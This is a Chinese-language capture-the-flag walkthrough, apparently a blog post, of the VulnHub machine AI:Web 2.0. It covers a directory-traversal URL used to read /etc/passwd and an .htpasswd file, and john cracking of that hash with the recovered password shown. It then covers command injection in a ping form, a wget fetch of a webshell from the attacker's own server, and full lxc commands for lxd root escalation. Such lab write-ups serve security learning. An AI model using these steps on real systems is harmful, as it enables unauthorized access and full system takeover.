VulnHub靶机 - AI:Web 2.0

靶机简介

这是AI:Web系列的第二个方框,您将有更多的乐趣来应对这一挑战。目标很简单。从/root/flag.txt获取标志。枚举该框,获取低特权的shell,然后将特权提升为root。

You may need to crack password. Use wordlist SecLists/rockyou-45.txt by Mr. Daniel Miessler.

名称:AI:Web 2.0

发布日期:2019年9月1日

难度:中等

目标:/root/flag.txt

靶机地址:AI: Web: 2 ~ VulnHub

  1. 信息搜集

  2. 目标IP是192.168.88.116

    首先使用的是nmap端口扫描工具进行扫描,发现开了22(ssh)、80(http),目标系统应该是个Ubuntu

  3. 然后访问目标的80发现存在一个登录框,尝试一下注册http://192.168.88.116/signup.php

  4. 登录成功之后发现使用的是XuezhuLi FileSharing,然后再exploit-db搜索了一下

    Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers

    搜索发现XuezhuLi FileSharing - Directory Traversal

    https://www.exploit-db.com/exploits/40009

  5. 进行目录扫描,发现存在文件download.php和webadmin页面

  6. 漏洞发现与利用

    根据漏洞库发现的漏洞,通过burp抓包,进行测试,发现可以进行任意文件下载

    http://192.168.88.116/download.php?file_name=../../../../../../../../../../../../../etc/passwd

  7. 打开webadmin发现是Apache的一个http认证,爆破一波后发现好像不行

  8.  于是尝试进行读取/etc/apache2/.htpasswd(Apache用它来进行验证用户身份)文件

  9. 于是拿出来密码破解工具john进行密码破解

    首先先把密文写到一个文件里,我这里是ap2

  10.  然后使用john进行爆破

    命令:john ./ap2 --wordlist=./rockyou-45.txt

    PS: John 后面跟要爆破的密码文件 --wordlist=后面跟密码字典,我这里使用的是kali自带的密码字典rockyou

    成功跑出来密码

    账号aiweb2admin         密码c.ronaldo

  11. 然后访问webadmin进行登录

  12.  登录之后发现告诉我这么一句话I disallowed some contents from robots.(我不允许机器人什么什么。)于是我去访问一下robots文件

  13.  通过访问robots文件,发现不允许两个目录,我分别取访问这两个目录

  14.  访问http://192.168.88.116/webadmin/S0mextras/,上面写着:这里有有趣的信息 ~

  15. 在访问http://192.168.88.116/webadmin/H05Tpin9555/的时候发现这里存在一个ping测试功能,我尝试执行其令命令,发现没有反应

  16. 尝试使用burp进行抓包测试,利用管道符进行命令执行的时候发现执行成功whoami命令,当前用户为www-data

  17. 随后尝试利用命令执行漏洞写shell,发现有限制,未尝试成功,于是利用wget进行尝试远程下载一个shell

  18. 接着我搭建一个HTTP服务存放一个shell,这里我使用的是kali自带的一个简易HTTP服务器,使用命令python -m SimpleHTTPServer

  19. 然后使用wget下载预先存在的ak741.txt,成功下载的目标服务器,利用mv改名为test2.php

  20. Getshell

    成功访问到shell

  21. 尝试去访问另外一个目录/S0mextras/,存在着一个隐藏文件

  22.  打开隐藏文件(.sshUserCred55512.txt)发现存在一个账号和密码,于是尝试ssh进行登录

  23.  成功利用账号和密码登录,但是只是一个普通的用户

  24. 提权

    使用id命令显示用户的ID,以及所属群组的ID,可以看到目前登录的这个账户名为n0nr00tuser,所属组中还有一个特殊的lxd组,这个特殊的组是提权的一个关键点

  25.  想要提升为root权限,我们需要给靶机挂载一个lxd镜像。可以在kali服务器上从github下载build-alpine文件,然后执行build-alpine这个shell脚本。“build-alpine”,将以压缩文件的形式构建最新的Alpine镜像,最后我们需要在靶机中下载这个镜像。

    git clone https://github.com/saghul/lxd-alpine-builder.git
    
    cd lxd-alpine-builder
    
    ./build-alpine

  26. 完成后会生成一个最新的alpine镜像

  27. 接着这个文件发到目标服务器上

    把获取到镜像文件并挂载到系统中,同时定义该镜像别名为myimage

    lxc image import ./alpine-v3.10-x86_64-20191203_2257.tar.gz --alias myimage
    
    lxc image list
    
    lxc init myimage ignite -c security.privileged=true
    
    lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
    
    lxc start ignite
    
    lxc exec ignite /bin/sh
    
    whoami
    
    cd /mnt/root/root
    
    ls
    
    cat fiag.txt
  28. 最后,把容器挂载到/root目录中。进入容器后通过/mnt/root可以看到靶机的所有文件。执行完脚本文件后,我们的shell操作符发生变化,代表我们现在进入的是容器的shell操作页面。这个容器拥有该靶机的root权限,也就是我们通过容器成功提权。这个时候其实整个靶机的渗透测试就已经结束了,不过还有一个flag文件在root目录下,cat命令查看final.txt获取flag

  29.   

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值